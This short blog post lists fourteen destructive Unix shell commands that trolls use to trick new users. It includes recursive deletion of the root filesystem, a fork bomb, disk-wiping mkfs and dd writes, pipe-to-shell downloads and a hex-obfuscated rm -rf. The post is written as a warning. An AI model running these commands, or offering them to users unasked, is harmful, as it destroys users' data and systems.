List of dangerous shell commands

You can contribute at the above link and this is for the purpose of my note.
It is not uncommon to see trolls tricking new Linux/Unix users run commands as a joke. These commands can destroy users data. Can you help me list such commands? For examples, I already collected the following commands:


1. rm -rf /
2. :(){ :|: & };:
3. mkfs /dev/sda1
4. cat /dev/zero > /dev/sda1
5. wget url -O – | sh —
6. curl url | sh
7. dd if=/dev/zero of=/dev/sda2
8. echo 726d202d7266202a | xxd -r -p
9. dd if=/dev/random of=/dev/port
10. echo 1 > /proc/sys/kernel/panic
11. cat /dev/port or cat /dev/mem
12. cat /dev/zero > /dev/mem
13. sudo chmod -r 444 / or sudo chown -r nobody:nobody /
14. last | reboot



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s